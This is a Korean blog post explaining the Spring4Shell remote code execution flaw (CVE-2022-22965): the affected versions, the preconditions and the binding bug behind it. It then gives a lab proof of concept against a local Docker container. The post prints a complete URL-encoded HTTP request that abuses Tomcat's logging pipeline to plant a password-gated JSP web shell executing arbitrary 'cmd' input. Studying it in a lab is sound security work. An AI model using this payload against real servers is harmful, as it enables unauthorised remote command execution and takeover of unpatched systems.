효투의 세상 로딩중...
효투의 세상 로딩중...
반응형

최근 Log4shell에 이어서 Spring 프레임워크를 사용하는 서브에서 RCE 취약점이 발견되어서 화제가 되었다.

log4j의 이름을 따와서 Spring4shell, SpringShell 등 이라고 불리는 듯함

CVE 코드는 2022-22965이고 RCE 취약점이기 때문에 점수가 높다 (CVSS 9.8점)

근데 해외 포럼을 참조한 결과 코드가 실행되기 까지는 조건이 좀 까다로운 편이라고 한다.

조건

  • JDK 9 버전 이상
  • 서블릿 컨테이너로 사용되는 톰캣
  • Spring-Framework(스프링 프레임워크) 버전 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전
  • Spring Boot(스프링부트)에서 디폴트로 실행되는 Jar가 아닌 war 패키지 여야함
  • Spring-Webmvc 또는 Spring-Webflux 사용

까다로운 조건들이 있기에 로그포쉘 만큼의 파급력은 없는 듯 하다.

원인

아무튼 이 RCE 취약점은 스프링 프레임워크가 Spring-Webmvc 또는 Spring-Webflux 사용할 때 getCachedIntrospectionResults 라는 메소드가 어떤 임의의 매개변수를 바인딩할 때 객체를 잘못바인딩하면서 클래스가 노출되기도 하고 RCE가 발생한다고 한다.

PoC Test

취약한 서버 구동

docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29

 

반응형

도커 내부 살피기 

올라와있는 도커 내부에는 hyotwo라는 파일은 1개도 없는 것을 볼 수 있다.

어차피 취약한 서버니 바로 Exploit 

 

코드를 조금 보기 편하게 대충 줄바꿈함

2010년에 스프링 프레임워크에서 발견된 취약점이 Class.classLoader를 사용하여 발생했다고 한다.

이번 JDK 9 버전 이상에서 우회 방법으로 이런 코드가 작성되었다고 함

일반적인 jsp 쉘코드에 ClassLoader를 이용한다

pwd 파라미터값을 정해주고 jsp 파일을 webapps/ROOT라는 경로에 생성

POST / HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 760

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%25%7Bc2%7Di%20if(%22ht%22.equals(request.getParameter(%22pwd%22)))%7B%20
java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter
(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-
1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while
((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))
%3B%20%7D%20%7D%20%25%7Bsuffix
%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=
.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory
=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix
=hyotwo&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

 

공격 실행 후 다시 도커 내부를 살펴보니 hyotwo.jsp 가 생성된것을 볼 수 있다.

이 생성된 웹쉘 jsp 를 실행함으로 끝

 

반응형
  • hyotwo7658@gmail.com

복사 완료 👍